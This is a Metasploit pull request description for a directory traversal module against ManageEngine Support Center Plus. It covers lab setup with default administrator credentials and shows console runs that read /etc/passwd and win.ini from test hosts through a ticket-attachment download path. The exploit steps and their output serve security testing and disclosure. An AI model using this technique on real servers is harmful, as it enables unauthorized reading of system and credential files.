rapid7/metasploit-framework — pull request #2925 by xistence (2014-01-28 08:48:08+00:00)
Title: added ManageEngine Support Center Plus directory traversal auxiliary mod...

Download the build 7914 installer files from (not available on vendor site anymore):
http://0x90.nl/ManageEngine_SupportCenter_Plus.bin
http://0x90.nl/ManageEngine_SupportCenter_Plus.exe

Linux:

./ManageEngine_SupportCenter_Plus.bin -console
Do a Normal install
At "Choose the Support Center Edition." choose "1 - Enterprise Edition"

After installation go to /root/ManageEngine/SupportCenter/bin
./run.sh

Browse to http://:8080
Login first time with "administrator/administrator"

msf > use auxiliary/scanner/http/support_center_plus_directory_traversal
msf auxiliary(support_center_plus_directory_traversal) > set RHOSTS 192.168.2.132
RHOSTS => 192.168.2.132
msf auxiliary(support_center_plus_directory_traversal) > set FILE /etc/passwd
FILE => /etc/passwd
msf auxiliary(support_center_plus_directory_traversal) > exploit

[*] 192.168.2.132:8080 - Retrieving cookie
[*] 192.168.2.132:8080 - Session cookie is [ 7E21324391523D75D5E891928931745B ]
[*] 192.168.2.132:8080 - Logging in as user [ guest ]
[*] 192.168.2.132:8080 - Login succesful
[*] 192.168.2.132:8080 - Creating ticket with our requested file [ /etc/passwd ] as attachment
[*] 192.168.2.132:8080 - Ticket created
[*] 192.168.2.132:8080 - File ID is [ 24 ]
[*] 192.168.2.132:8080 - Auth Key is [ CBE45E7E-0827-4894-BE82-21C6B548853D ]
[*] 192.168.2.132:8080 - Requesting file [ /workorder/FileDownload.jsp?module=Request&ID=24&authKey=CBE45E7E-0827-4894-BE82-21C6B548853D ]
[+] 192.168.2.132:8080 - [ /etc/passwd ] loot stored as [ /home/xistence/.msf4/loot/20140128154309_default_192.168.2.132_manageengine.sup_380770.bin ]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Windows:

Run ManageEngine_SupportCenter_Plus.exe
One-Click install
After install finishes, start the "ManageEngine Support Center Plus" service
Browse to http://:8080
Login first time with "administrator/administrator"

msf auxiliary(support_center_plus_directory_traversal) > set FILE /windows/win.ini
FILE => /windows/win.ini
msf auxiliary(support_center_plus_directory_traversal) > exploit

[*] 172.16.117.195:8080 - Retrieving cookie
[*] 172.16.117.195:8080 - Session cookie is [ 485AA2448D6C4522B8D83713106C3E38 ]
[*] 172.16.117.195:8080 - Logging in as user [ guest ]
[*] 172.16.117.195:8080 - Login succesful
[*] 172.16.117.195:8080 - Creating ticket with our requested file [ /windows/win.ini ] as attachment
[*] 172.16.117.195:8080 - Ticket created
[*] 172.16.117.195:8080 - File ID is [ 5 ]
[*] 172.16.117.195:8080 - Auth Key is [ 142B5A83-094A-4CBB-8A1F-BE67FD808F00 ]
[*] 172.16.117.195:8080 - Requesting file [ /workorder/FileDownload.jsp?module=Request&ID=5&authKey=142B5A83-094A-4CBB-8A1F-BE67FD808F00 ]
[+] 172.16.117.195:8080 - [ /windows/win.ini ] loot stored as [ /home/xistence/.msf4/loot/20140128142905_default_172.16.117.195_manageengine.sup_768566.ini ]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed